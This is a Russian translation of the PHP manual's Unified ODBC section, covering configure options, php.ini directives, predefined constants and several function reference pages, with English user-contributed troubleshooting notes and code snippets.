За исключением iODBC, при подключении к вышеуказанным базам данных ODBC не задействуется. Функции, которые вы используете для непосредственного общения с ними, просто имеют те же имена и синтаксис, что и функции ODBC. Тем не менее, сборка PHP с поддержкой iODBC позволяет вам использовать любые ODBC-совместимые драйверы с вашими PHP-приложениями. Дополнительную информацию о iODBC можно получить по адресу » www.iodbc.org, а альтернативный вариант unixODBC доступен по адресу » www.unixodbc.org.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для доступа к любой из поддерживаемых баз данных вам требуется установить необходимые библиотеки.

User Contributed Notes

There are no user contributed notes for this page.


Установка

--with-adabas[=DIR]

Включить поддержку Adabas D. DIR - это каталог установки Adabas, по умолчанию /usr/local.

--with-sapdb[=DIR]

Включить поддержку SAP DB. DIR - каталог установки SAP DB, по умолчанию /usr/local.

--with-solid[=DIR]

Включить поддержку Solid. DIR - каталог установки Solid base, по умолчанию /usr/local/solid.

--with-ibm-db2[=DIR]

Включить поддержку IBM DB2. DIR - это каталог установки DB2, по умолчанию /home/db2inst1/sqllib.

--with-empress[=DIR]

Включить поддержку Empress. DIR - это каталог установки Empress, по умолчанию $EMPRESSPATH. Опция поддерживается только Empress версии 8.60 и выше.

--with-empress-bcs[=DIR]

Включить поддержку "Empress Local Access". DIR - это каталог установки Empress, по умолчанию $EMPRESSPATH. Опция поддерживается только Empress версии 8.60 и выше.

--with-birdstep[=DIR]

Включить поддержку Birdstep. DIR - это каталог установки Birdstep, по умолчанию /usr/local/birdstep.

--with-custom-odbc[=DIR]

Включить определённую пользователем поддержку ODBC. DIR - это каталог установки ODBC, по умолчанию /usr/local. Убедитесь, что вы определили CUSTOM_ODBC_LIBS и у вас есть несколько odbc.h в ваших включаемых каталогах. Например, вы должны определить следующее для Sybase SQL Anywhere 5.5.00 в QNX перед запуском скрипта настройки:

   CPPFLAGS="-DODBC_QNX -DSQLANY_BUG"
   LDFLAGS=-lunix
   CUSTOM_ODBC_LIBS="-ldblib -lodbc".

--with-iodbc[=DIR]

Включить поддержку iODBC. DIR - это каталог установки iODBC, по умолчанию /usr/local.

--with-esoob[=DIR]

Включить поддержку Easysoft OOB. DIR - это каталог установки Easysoft OOB, по умолчанию /usr/local/easysoft/oob/client.

--with-unixODBC[=DIR]

Включить поддержку unixODBC. DIR - это каталог установки unixODBC, по умолчанию /usr/local.

--with-openlink[=DIR]

Включить поддержку OpenLink ODBC. DIR - это каталог установки OpenLink, по умолчанию /usr/local. Это то же самое, что и iODBC.

--with-dbmaker[=DIR]

Включить поддержку DBMaker. DIR - это каталог установки DBMaker, по умолчанию это место, где установлена последняя версия DBMaker (например, /home/dbmaker/3.6).

Пользователи Windows должны включить php_odbc.dll, чтобы использовать этот модуль.

User Contributed Notes

alvaro at demogracia dot com 24-Jul-2012 07:18
To avoid «[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified»:

- Find the ODBC manager in Windows control panel and check the "Drivers" tab. Please note that 64 bit Windows has two different managers for 32 [1] and 64 bit drivers: drivers must match your PHP installation.

- If the required driver doesn't show up there, you need to install it. The free "Microsoft Access Database Engine 2010 Redistributable" package [2] is one of the possibilities for Access and Excel.

- When connecting with odbc_connect(), make sure you are using the exact driver name in the DRIVER parameter: 'Microsoft Access Driver (*.mdb)' will not work if your driver is called 'Microsoft Access Driver (*.mdb, *.accdb)'.

[1] C:\Windows\SysWOW64\odbcad32.exe
[2] http://www.microsoft.com/en-us/download/details.aspx?id=13255


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации Unified ODBC
Имя | По умолчанию | Место изменения | Список изменений
odbc.default_db * | NULL | PHP_INI_ALL |
odbc.default_user * | NULL | PHP_INI_ALL |
odbc.default_pw * | NULL | PHP_INI_ALL |
odbc.allow_persistent | "1" | PHP_INI_SYSTEM |
odbc.check_persistent | "1" | PHP_INI_SYSTEM |
odbc.max_persistent | "-1" | PHP_INI_SYSTEM |
odbc.max_links | "-1" | PHP_INI_SYSTEM |
odbc.defaultlrl | "4096" | PHP_INI_ALL |
odbc.defaultbinmode | "1" | PHP_INI_ALL |
odbc.default_cursortype | "3" | PHP_INI_ALL |

Замечание: Записи, помеченные *, ещё не реализованы.

Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

odbc.default_db string

Источник данных ODBC для использования, если ни один не указан в odbc_connect() или odbc_pconnect().

odbc.default_user string

Имя пользователя для использования, если ни один не указан в odbc_connect() или odbc_pconnect().

odbc.default_pw string

Пароль для использования, если ни один не указан в odbc_connect() или odbc_pconnect().

odbc.allow_persistent bool

Разрешать ли постоянные соединения ODBC.

odbc.check_persistent bool

Перед повторным использованием убедитесь, что соединение всё ещё доступно.

odbc.max_persistent int

Максимальное количество постоянных соединений ODBC на процесс.

odbc.max_links int

Максимальное количество соединений ODBC на процесс, включая постоянные соединения.

odbc.defaultlrl int

Обработка длинных (LONG) полей. Определяет количество байтов, возвращаемых переменным. Смотрите odbc_longreadlen() для подробностей.

Если используется int, значение измеряется байтами. Вы также можете использовать сокращённую запись, которая описана в этом разделе FAQ.
odbc.defaultbinmode int

Обработка двоичных данных. Смотрите odbc_binmode() для подробностей.

odbc.default_cursortype int

Управляет моделью курсора ODBC. Возможные значения SQL_CURSOR_FORWARD_ONLY, SQL_CURSOR_KEYSET_DRIVEN, SQL_CURSOR_DYNAMIC и SQL_CURSOR_STATIC (по умолчанию).

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Модуль определяет два типа ресурсов: идентификатор соединения ODBC и идентификатор результата ODBC.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

ODBC_TYPE (string)
ODBC_BINMODE_PASSTHRU (int)
ODBC_BINMODE_RETURN (int)
ODBC_BINMODE_CONVERT (int)
SQL_ODBC_CURSORS (int)
SQL_CUR_USE_DRIVER (int)
SQL_CUR_USE_IF_NEEDED (int)
SQL_CUR_USE_ODBC (int)
SQL_CONCURRENCY (int)
SQL_CONCUR_READ_ONLY (int)
SQL_CONCUR_LOCK (int)
SQL_CONCUR_ROWVER (int)
SQL_CONCUR_VALUES (int)
SQL_CURSOR_TYPE (int)
SQL_CURSOR_FORWARD_ONLY (int)
SQL_CURSOR_KEYSET_DRIVEN (int)
SQL_CURSOR_DYNAMIC (int)
SQL_CURSOR_STATIC (int)
SQL_KEYSET_SIZE (int)
SQL_CHAR (int)
SQL_VARCHAR (int)
SQL_LONGVARCHAR (int)
SQL_DECIMAL (int)
SQL_NUMERIC (int)
SQL_BIT (int)
SQL_TINYINT (int)
SQL_SMALLINT (int)
SQL_INTEGER (int)
SQL_BIGINT (int)
SQL_REAL (int)
SQL_FLOAT (int)
SQL_DOUBLE (int)
SQL_BINARY (int)
SQL_VARBINARY (int)
SQL_LONGVARBINARY (int)
SQL_DATE (int)
SQL_TIME (int)
SQL_TIMESTAMP (int)
SQL_TYPE_DATE (int)
SQL_TYPE_TIME (int)
SQL_TYPE_TIMESTAMP (int)
SQL_BEST_ROWID (int)
SQL_ROWVER (int)
SQL_SCOPE_CURROW (int)
SQL_SCOPE_TRANSACTION (int)
SQL_SCOPE_SESSION (int)
SQL_NO_NULLS (int)
SQL_NULLABLE (int)
SQL_INDEX_UNIQUE (int)
SQL_INDEX_ALL (int)
SQL_ENSURE (int)
SQL_QUICK (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции ODBC

Содержание

  • odbc_autocommit — Переключает поведение автоматической фиксации
  • odbc_binmode — Управляет обработкой двоичных данных столбца
  • odbc_close_all — Закрывает все соединения ODBC
  • odbc_close — Закрывает соединение ODBC
  • odbc_columnprivileges — Перечисляет столбцы и связанные привилегии для данной таблицы
  • odbc_columns — Перечисляет имена столбцов в указанных таблицах
  • odbc_commit — Фиксирует транзакцию ODBC
  • odbc_connect — Соединяет с источником данных
  • odbc_connection_string_is_quoted — Определяет, заключено ли значение строки соединения ODBC в кавычки
  • odbc_connection_string_quote — Заключает в кавычки значение строки подключения
  • odbc_connection_string_should_quote — Определяет, следует ли заключать значение строки соединения ODBC в кавычки
  • odbc_cursor — Возвращает имя курсора
  • odbc_data_source — Возвращает информацию о доступных DSN
  • odbc_do — Псевдоним odbc_exec
  • odbc_error — Возвращает последний код ошибки
  • odbc_errormsg — Возвращает последнее сообщение об ошибке
  • odbc_exec — Выполняет инструкцию SQL напрямую
  • odbc_execute — Выполняет запрос
  • odbc_fetch_array — Возвращает строку результата в виде ассоциативного массива
  • odbc_fetch_into — Возвращает одну строку результата в массив
  • odbc_fetch_object — Возвращает строку результата в виде объекта
  • odbc_fetch_row — Возвращает строку
  • odbc_field_len — Возвращает длину (точность) поля
  • odbc_field_name — Возвращает имя столбца
  • odbc_field_num — Возвращает номер столбца
  • odbc_field_precision — Псевдоним odbc_field_len
  • odbc_field_scale — Возвращает масштаб поля
  • odbc_field_type — Возвращает тип данных поля
  • odbc_foreignkeys — Возвращает список внешних ключей
  • odbc_free_result — Освобождает ресурсы, связанные с результатом
  • odbc_gettypeinfo — Возвращает информацию о типах данных, поддерживаемых источником данных
  • odbc_longreadlen — Обрабатывает столбцы LONG
  • odbc_next_result — Проверяет, доступно ли несколько результатов
  • odbc_num_fields — Возвращает количество столбцов в результате
  • odbc_num_rows — Возвращает количество строк в результате
  • odbc_pconnect — Открывает постоянное соединение с базой данных
  • odbc_prepare — Подготавливает запрос к выполнению
  • odbc_primarykeys — Получает первичные ключи таблицы
  • odbc_procedurecolumns — Получает информацию о параметрах процедур
  • odbc_procedures — Получает список процедур, хранящихся в определённом источнике данных
  • odbc_result_all — Выводит результат в виде HTML-таблицы
  • odbc_result — Получает данные результата
  • odbc_rollback — Откатывает транзакцию
  • odbc_setoption — Регулирует настройки ODBC
  • odbc_specialcolumns — Извлекает особые столбцы
  • odbc_statistics — Получает статистику о таблице
  • odbc_tableprivileges — Перечисляет таблицы и привилегии, связанные с каждой таблицей
  • odbc_tables — Получает список имён таблиц, хранящихся в определённом источнике данных

User Contributed Notes

chaz_meister_rock at yahoo dot com 29-Aug-2007 11:54
Windows 64 Caveats with ODBC

I'm pretty sure PHP only accesses the 32-bit ODBC stuff on Windows 64.  Therefore, you will need to configure your ODBC DSNs via the Data Source Administrator found at:

/WINDOWS/SysWOW64/odbcad32.exe
11-Oct-2006 07:28
I had big performance problems retrieving data form MS SQL Server with odbc only when the query was unsing a join.

I found out, that I had to connect with the cursor-type "SQL_CUR_USE_ODBC" and everything was ok:

$conn = odbc_connect("ShopLive", 'shop', 'xxx', SQL_CUR_USE_ODBC);
sven at ajaxtechforums dot com 27-Feb-2006 03:07
I found this to be a perfect alternative to the MaxDB special drivers of version 7.5.00. Just weren't that easy to install on *nix. Windows seems fine. Anyway The ODBC is a perfect alternative for connecting the SAPDB/MaxDB towards PHP.

Installation guide for the odbc alternative (instead of the MAXDB-php driver) can be found here:

http://maxdb.yapabout.com/viewtopic.php?t=21
xangelusx at hotmail dot com 11-Nov-2005 07:45
If you receive an error stating "Connection is busy with results for another hstmt, SQL state S1000 in SQLExecDirect" try opening your odbc connection using the SQL_CURSOR_FORWARD_ONLY option

<?php
$db_link = odbc_connect($dsn, $username, $password, SQL_CURSOR_FORWARD_ONLY)
    or die('Error connecting to server. Server says: '.htmlspecialchars(odbc_errormsg()));
?>
Quickdraw 05-May-2005 11:06
In response to Holger's comment about using @@identity:

Be carefull. If the table you're inserting into has a trigger that also inserts into another table that has an identity column you'll get the key of that other table! use scope_identity() instead of @@identity
04-May-2005 08:14
I searched for the solution of why odbc connection of a network remote drive under Windows + Apache 2.0.X, cannot give the query, but seems no one provides the solution.

In fact, it is very simple.
Go to Control Panal -> Services;
Find and double click "Apache2";
In the page of "Log On", choose Log on as "This account" and give an account in the web server system which have the right to control the network remote drive;
Finally, restart Apache, and that's it.
denials at gmail dot com 23-Jan-2005 03:05
Ever wonder why you're experiencing really slow data retrieval times using IBM DB2 Universal Database for Linux, UNIX, and Windows? The default cursor type used by Unified ODBC is not supported by DB2, so it gets downgraded to a forward-only cursor -- and that negotiation occurs with every row fetch.

One way to force your PHP applications to use forward-only cursors is to modify your DB2 client configuration with a handy CLI patch2 setting value of 6:

$ db2 UPDATE CLI CONFIGURATION FOR SECTION dbname USING patch2 6

You have to update this client setting on the same machine on which you are running the PHP application. This works on Windows operating systems as well as on Linux & UNIX operating systems.

I ran a few basic benchmarks (fetch 10,000 rows consisting of 3 INTEGER columns from a remote database server) and concluded that this setting can make a major difference to your application speed:

Without CLI patch2 setting: ~22 seconds
With CLI patch2 setting: ~ 1.75 seconds

Note that the drawback of using this patch setting (or any other method of using forward-only cursors) makes odbc_num_rows() always return "-1" for the number of rows affected by a SELECT statement.
pascals at NOSPAM dot pobox dot com 27-Feb-2004 03:15
If the bundled ODBC library stumbles on some field formats (like some REAL from Pervasive.SQL), have a look at http://odbtp.sourceforge.net/.

After many headaches, I have adoped odbtp: it's a very solid library and best of all it's not tied to a particular OS.
vbwebprofi at gmx dot de 04-Nov-2003 04:31
On my search for a function to retriew the NewID of an inserted row wich has an autoincrement I found this solution like the mysql_insert_id for an ODBC connection to MS-Access :

<?
// make your connection below
$Connection = odbc_connect(...);
$Result = odbc_exec($Connection, "select @@identity");
$NewID = odbc_result($Result, 1);
odbc_free_result($Result);

// make here all what you want with the NewID

odbc_close($Connection);
?>

In my mind this should also work with MS-SQL-Server and with Sybase - via ODBC and direct (mssql_.../sybase_...).

HTH ...

Regards

Holger


Переключает поведение автоматической фиксации

  • « Функции ODBC
  • odbc_binmode »
  • PHP Manual
  • Функции ODBC
  • Переключает поведение автоматической фиксации

odbc_autocommit

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_autocommit — Переключает поведение автоматической фиксации

Описание

odbc_autocommit(resource $odbc, bool $enable = false): int|bool

Переключает поведение автоматической фиксации.

По умолчанию для подключения включена автоматическая фиксация. Отключение автоматической фиксации эквивалентно запуску транзакции.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

enable

Если enable установлен true, автоматическая фиксация включена, если false - автоматическая фиксация отключена.

Возвращаемые значения

Без параметра enable функция возвращает статус автоматической фиксации для odbc. Ненулевое значение возвращается, если автоматическая фиксация включена, 0 - если выключена и false в случае возникновения ошибки.

Если задано значение enable, функция возвращает true в случае успешного выполнения и false в случае возникновения ошибки.

Смотрите также

  • odbc_commit() - Фиксирует транзакцию ODBC
  • odbc_rollback() - Откатывает транзакцию

User Contributed Notes

alvaro at demogracia dot com 06-Aug-2008 01:18
If you are using persistent connections (odbc_pconnect rather than odbc_connect) the next script that reuses the connection will inherit your changes to autocommit.
Orgied - info at orgied dot com 05-Apr-2005 11:58
Hi (i'm belgian then sorry for my english).

I think you can do more simple to check the errors :

$conn = odbc_connect($odbc,$user,$password)
    or die($error);

odbc_autocommit($conn, FALSE);

odbc_exec($conn, $query1);
odbc_exec($conn, $query2);

if (!odbc_error())
      odbc_commit($conn);
else
      odbc_rollback($conn);

odbc_close($conn);

I'm not sure it's better to use odbc_error() than
odbc_error($conn). It seems to be the same result.
Joe 26-May-2004 09:01
It seems that example made by andrea dot galli at acotel dot com works exactly the contrary.

It sets autocommit OFF and NOT ON like it's written inside note!
JRog 25-Jun-2003 01:30
If a transaction is started (autocommit disabled) while there is an active result id on the connection, odbc_autocommit will post a warning (Cannot set autocommit).  Use odbc_free_result to clear the result id's or start the transaction before you execute the SQL.
andrea dot galli at acotel dot com 28-Apr-2003 09:48
Example: set autocommit on

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");

    $Return = odbc_autocommit($Link_ID, FALSE);

?>
alonsoalonsocr at yahoo dot com 08-Oct-2001 03:09
When used in a odbc_fetch loop your selected resultset is lost and loop ends.


Управляет обработкой двоичных данных столбца

  • « odbc_autocommit
  • odbc_close_all »
  • PHP Manual
  • Функции ODBC
  • Управляет обработкой двоичных данных столбца

odbc_binmode

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_binmode — Управляет обработкой двоичных данных столбца

Описание

odbc_binmode(resource $statement, int $mode): bool

Управляет обработкой двоичных данных столбца. Затрагиваемые типы ODBC SQL: BINARY, VARBINARY и LONGVARBINARY. Режим по умолчанию можно установить с помощью директивы php.ini uodbc.defaultbinmode.

Когда двоичные данные SQL преобразуются в символьные данные C (ODBC_BINMODE_CONVERT), каждый байт (8 бит) исходных данных представляется в виде двух символов ASCII. Эти символы представляют собой символьное представление числа в формате ASCII в его шестнадцатеричной форме. Например, двоичное число 00000001 преобразуется в "01" , а 11111111 - в "FF".

Хотя обработка столбцов BINARY и VARBINARY зависит только от binmode, обработка столбцов LONGVARBINARY также зависит от longreadlen:

Обработка LONGVARBINARY
binmode | longreadlen | result
ODBC_BINMODE_PASSTHRU | 0 | passthru
ODBC_BINMODE_RETURN | 0 | passthru
ODBC_BINMODE_CONVERT | 0 | passthru
ODBC_BINMODE_PASSTHRU | >0 | passthru
ODBC_BINMODE_RETURN | >0 | вернуть как есть
ODBC_BINMODE_CONVERT | >0 | вернуть в виде char

Если используется odbc_fetch_into(), passthru означает, что для этих столбцов возвращается пустая строка. Если используется odbc_result(), passthru означает, что данные отправляются клиенту напрямую (т.е. печатаются).

Список параметров

statement

Идентификатор результата.

Если statement равен 0, настройки применяются по умолчанию для новых результатов.

mode

Возможные значения для mode:

  • ODBC_BINMODE_PASSTHRU: Использовать режим passthru для двоичных данных
  • ODBC_BINMODE_RETURN: Вернуть как есть
  • ODBC_BINMODE_CONVERT: Преобразовать в char и вернуть

Замечание: На обработку двоичных столбцов LONG также влияет функция odbc_longreadlen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

yhalmoe at yahoo dot no 14-Dec-2009 08:45
For Sybase users (this probably applies to MS-SQL Server as well) who are using ODBC:

I was using the same code as mizmerize, but I was getting truncated data back from the server (at the 32kb mark) when selecting data with the image datatype. My Sybase server has a @@textsize property of 2Gb, which should be plenty. But apparently, the php ODBC driver resets this to 32Kb when a connection is made, and then sets it back to 2Gb after. The solution is to do a query:

<?php odbc_exec($connH, "set textsize 131072"); ?>

immediately before your main query, in mizmerize's code. That should override the default setting.
bortuzar 12-Feb-2009 07:28
I set the odbc_longreadlen() at the beggining of my script so nText field types dont get truncated, like this:

<?php odbc_longreadlen (0, 1000000); ?>
mizmerize at yahoo dot com 10-Jan-2006 06:59
I am currently using an SQL Server 2000 used as a datasource for ODBC access, Testing PHP scripts from an Apache 2 server running on Windows 2000.

I was trying to get an image from the database using ODBC but the output always flushes automatically while I was just getting the result using odbc_result() function.

With this code, the picture automatically prints to the browser as soon as I hit odbc_result() (probably a bug, but bug reports aren't that easy to do).

<?php
  $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_PASSTHRU);
//upon calling this, the output flushes out to the browser... made me scratch
$m_FValue=odbc_result($result, 1);
}
?>

...after 48 hours of scratching I finally made a work around, but by using a function in the bin2hex() function documentation...

<?php
      function hex2bin($data){
       $len = strlen($data);
       return pack("H" . $len, $data);
    }

    $connH=odbc_pconnect("ImageDB","sa","",SQL_CUR_USE_IF_NEEDED) or die(odbc_errormsg());
    $result=odbc_exec($connH, "SELECT Emp_Image FROM tblEmployeePics WHERE Emp_Id=547");
    if ($result) {
        odbc_longreadlen($result, 131072);
        odbc_binmode($result,ODBC_BINMODE_CONVERT);
        $m_FValue=odbc_result($result, 1);
        $out=hex2bin($m_FValue);
    }
?>

The trick was to convert the output into hex by changing odbc_binmode to  ODBC_BINMODE_CONVERT and using a handy function to convert it back to binary in order to facilitate manipulation of its size, depth etc...
andrea dot galli at acotel dot com 28-Apr-2003 08:27
Example: retrieve image from database.

<?php

   $Link_ID = odbc_connect("DSN", "user", "pass");
   $Query_ID = odbc_exec($Link_ID, "SELECT picture FROM categories");

   // change to ODBC_BINMODE_CONVERT for comparison

   odbc_binmode($Query_ID, ODBC_BINMODE_RETURN);

   $Images = odbc_result($Query_ID, 1);

   echo $Images;

?>


Закрывает все соединения ODBC

  • « odbc_binmode
  • odbc_close »
  • PHP Manual
  • Функции ODBC
  • Закрывает все соединения ODBC

odbc_close_all

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_close_all — Закрывает все соединения ODBC

Описание

odbc_close_all(): void

odbc_close_all() закроет все соединения с сервером (серверами) базы данных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примечания

Замечание:

Эта функция не сработает, если в соединении есть открытые транзакции. В этом случае соединение останется открытым.

User Contributed Notes

alvaro at demogracia dot com 19-Sep-2008 02:08
Apparently, it doesn't really close *all* connections; just those used by the current script.

If you are using persistent connections, every time a script does an odbc_pconnect() and all open connections are in use you'll get a new connection with the same credentials. You won't close them all with odbc_close_all().


Закрывает соединение ODBC

  • « odbc_close_all
  • odbc_columnprivileges »
  • PHP Manual
  • Функции ODBC
  • Закрывает соединение ODBC

odbc_close

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_close — Закрывает соединение ODBC

Описание

odbc_close(resource $odbc): void

Закрывает соединение с сервером базы данных.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примечания

Замечание:

Эта функция не сработает, если в соединении есть открытые транзакции. В этом случае соединение останется открытым.

User Contributed Notes

alvaro at demogracia dot com 26-Mar-2018 10:33
`odbc_close()` does not report success and some drivers (namely Microsoft Access) don't seem to close connections at first attempt. This is normally not an issue, unless you need to establish many connections within the script lifetime.

You can use the fact that resource type changes (e.g. from "odbc link" to "Unknown") as a trick to figure out whether connection was successfully closed (and eventually retry):

<?php
$type = get_resource_type($conn);
$wait_until = time() + 3;
do {
    odbc_close($conexion_odbc);
} while (get_resource_type($conn)===$type && time()<$wait_until);


Перечисляет столбцы и связанные привилегии для данной таблицы

  • « odbc_close
  • odbc_columns »
  • PHP Manual
  • Функции ODBC
  • Перечисляет столбцы и связанные привилегии для данной таблицы

odbc_columnprivileges

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_columnprivileges — Перечисляет столбцы и связанные привилегии для данной таблицы

Описание

odbc_columnprivileges(
resource $odbc,
?string $catalog,
string $schema,
string $table,
string $column
): resource|false

Перечисляет столбцы и связанные привилегии для данной таблицы.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

catalog

Каталог ('qualifier' на языке ODBC 2).

schema

Схема ('owner' на языке ODBC 2). Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

table

Имя таблицы. Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

column

Имя столбца. Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

Возвращаемые значения

Возвращает идентификатор результата ODBC или false в случае возникновения ошибки. Этот идентификатор результата можно использовать для получения списка столбцов и связанных привилегий.

В результирующем наборе имеются следующие столбцы:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • GRANTOR
  • GRANTEE
  • PRIVILEGE
  • IS_GRANTABLE
Драйверы могут сообщать дополнительные столбцы.

Результирующий набор упорядочивается по TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME и PRIVILEGE.

Примеры

Пример #1 Перечисление привилегий для столбца

<?php
$conn = odbc_connect($dsn, $user, $pass);
$privileges = odbc_columnprivileges($conn, 'TutorialDB', 'dbo', 'test', 'id');
while (($row = odbc_fetch_array($privileges))) {
print_r($row);
break; // последующие строки опущены для краткости
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => test
    [COLUMN_NAME] => id
    [GRANTOR] => dbo
    [GRANTEE] => dbo
    [PRIVILEGE] => INSERT
    [IS_GRANTABLE] => YES
)

User Contributed Notes

There are no user contributed notes for this page.


Перечисляет имена столбцов в указанных таблицах

  • « odbc_columnprivileges
  • odbc_commit »
  • PHP Manual
  • Функции ODBC
  • Перечисляет имена столбцов в указанных таблицах

odbc_columns

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_columns — Перечисляет имена столбцов в указанных таблицах

Описание

odbc_columns(
resource $odbc,
?string $catalog = null,
?string $schema = null,
?string $table = null,
?string $column = null
): resource|false

Перечисляет все столбцы в запрошенном диапазоне.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

catalog

Каталог ('qualifier' на языке ODBC 2).

schema

Схема ('owner' на языке ODBC 2). Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

table

Имя таблицы. Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

column

Имя столбца. Этот параметр принимает следующие шаблоны поиска: % соответствующий нулю или более символам, и _ соответствующий ровно одному символу.

Возвращаемые значения

Возвращает идентификатор результата ODBC или false в случае возникновения ошибки.

В результирующем наборе имеются следующие столбцы:

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • DATA_TYPE
  • TYPE_NAME
  • COLUMN_SIZE
  • BUFFER_LENGTH
  • DECIMAL_DIGITS
  • NUM_PREC_RADIX
  • NULLABLE
  • REMARKS
  • COLUMN_DEF
  • SQL_DATA_TYPE
  • SQL_DATETIME_SUB
  • CHAR_OCTET_LENGTH
  • ORDINAL_POSITION
  • IS_NULLABLE
Драйверы могут сообщать дополнительные столбцы.

Результирующий набор упорядочивается по TABLE_CAT, TABLE_SCHEM, TABLE_NAME и ORDINAL_POSITION.

Список изменений

Версия | Описание
8.0.0 | schema, table и column теперь допускают значение null.

Примеры

Пример #1 Перечисление столбцов таблицы

<?php
$conn = odbc_connect($dsn, $user, $pass);
$columns = odbc_columns($conn, 'TutorialDB', 'dbo', 'test', '%');
while (($row = odbc_fetch_array($columns))) {
print_r($row);
break; // последующие строки опущены для краткости
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => TEST
    [COLUMN_NAME] => id
    [DATA_TYPE] => 4
    [TYPE_NAME] => int
    [COLUMN_SIZE] => 10
    [BUFFER_LENGTH] => 4
    [DECIMAL_DIGITS] => 0
    [NUM_PREC_RADIX] => 10
    [NULLABLE] => 0
    [REMARKS] =>
    [COLUMN_DEF] =>
    [SQL_DATA_TYPE] => 4
    [SQL_DATETIME_SUB] =>
    [CHAR_OCTET_LENGTH] =>
    [ORDINAL_POSITION] => 1
    [IS_NULLABLE] => NO
)

Смотрите также

  • odbc_columnprivileges() - Перечисляет столбцы и связанные привилегии для данной таблицы
  • odbc_procedurecolumns() - Получает информацию о параметрах процедур

User Contributed Notes

tom at jargonsoft dot com 08-Sep-2019 05:33
The docs on this page are among the worst in php. I know docs are traditionally terrible for open source code, but this is NOT acceptable:
Qualifer: the qualifer. REALLY??
How about: ComplexFieldWithManyRules: the ComplexFieldWithManyRules.
Give me a break.
How about actually defining the meaning and how to use it?
Along with several EXAMPLES!!
You are giving software developers a bad name with junk like this.
eion at robbmob dot com 12-Apr-2012 03:47
Sometimes the array keys of the results of odbc_columns() can be in lower case, instead of upper case (eg 'column_name' instead of 'COLUMN_NAME').  This can vary depending on which ODBC driver you are connecting to.
Thomas 16-Jun-2009 06:46
[MS SQL Server 2005/2008, PHP 5]

Imagine you would need to access the column names of a specific table, for instance to display them as table headers for fields with missing information. While browsing the documentation I was kind of lost how to use odbc_columns() without the usage of odbc_result_all() which outputs EVERYTHING in a single HTML table.

Here is a way to stuff all output into an array and then access only one or more fields of the odbc_columns() output:

<?php
include('connect.inc'); // <== Put all your database connection parameters in here. (DSN, PWD, USR, mssql_connect, etc.; returns $connection)

$outval = odbc_columns($connection, "your DB name", "%", "your table name", "%");

$pages = array();
while (odbc_fetch_into($outval, $pages)) {
        echo $pages[3] . "<br />\n"; // presents all fields of the array $pages in a new line until the array pointer reaches the end of array data
    }
?>

Now your array $pages will have the following contents:
([x] is the array index displayed here for better understanding)

[0] TABLE_CAT <== your DB name
[1] TABLE_SCHEM <== dbo, your table scheme
[2] TABLE_NAME <== your table name
[3] COLUMN_NAME <== your column names (selected all with "%" in odbc_columns() )
[4] DATA_TYPE <== -8
[5] TYPE_NAME <== nchar (corresponds to -8, 11 f.i. is datetime and so on)
[6] COLUMN_SIZE <== num. val.
[7] BUFFER_LENGTH <== num. val.
[8] DECIMAL_DIGITS <== num. val. or NULL
[9] NUM_PREC_RADIX <== num. val. or NULL
[10] NULLABLE <== num. val.
[11] REMARKS <== num. val. or NULL
[12] COLUMN_DEF <== num. val. or NULL
[13] SQL_DATA_TYPE <== num. val.
[14] SQL_DATETIME_SUB <== num. val. or NULL
[15] CHAR_OCTET_LENGTH <== num. val. or NULL
[16] ORDINAL_POSITION <== num. val.
[17] IS_NULLABLE <== YES/NO
[18] SS_DATA_TYPE <== num. val.

Now you can access each field recursivly by its key and output only the DESIRED fields instead of having ALL output from odbc_result_all().
Please note that the array key starts at zero (0) instead of one (1), so echo $pages[3] selects COLUMN_NAME from the above list.

I hope this helps...

Cheers
Thomas
php dot lpatrick at spamgourmet dot com 02-May-2008 10:52
